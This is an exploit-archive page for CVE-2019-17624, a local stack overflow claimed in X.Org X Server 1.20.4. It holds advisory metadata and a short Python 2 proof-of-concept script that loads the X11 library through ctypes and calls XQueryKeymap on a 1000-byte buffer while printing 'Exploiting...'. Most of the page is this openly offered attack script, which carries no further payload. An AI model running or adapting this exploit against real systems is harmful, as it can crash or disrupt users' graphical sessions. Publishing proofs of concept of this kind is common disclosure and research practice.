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X.Org X Server 1.20.4 Local Stack Overflow

X.Org X Server 1.20.4 Local Stack Overflow
Posted Oct 16, 2019
Authored by Marcelo Vazquez

X.Org X Server version 1.20.4 suffers from a local stack overflow vulnerability.

tags | exploit, overflow, local
advisories | CVE-2019-17624
SHA-256 | 81d9495e9d1727dfa844b480b1c15dd3ef211fe607e1285219dee4e40f5cf652

X.Org X Server 1.20.4 Local Stack Overflow

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# Exploit Title: X.Org X Server 1.20.4 - Local Stack Overflow
# Date: 2019-10-16
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: https://www.x.org/
# Version: <= 1.20.4
# Tested on: Linux
# CVE: CVE-2019-17624

#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# * Author: Marcelo Vázquez (aka s4vitar) *
# * X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow) *
# ************************************************************************

import sys, time
import ctypes as ct

from ctypes import cast
from ctypes.util import find_library

def access_violation(x11, current_display):
keyboard = (ct.c_char * 1000)()
x11.XQueryKeymap(current_display, keyboard)

if __name__ == '__main__':

print "\n[*] Loading x11...\n"
time.sleep(2)

x11 = ct.cdll.LoadLibrary(find_library("X11"))
current_display = x11.XOpenDisplay(None)

print "[*] Exploiting...\n"
time.sleep(1)

try:
access_violation(x11, current_display)

except:
print "\nError...\n"
sys.exit(1)
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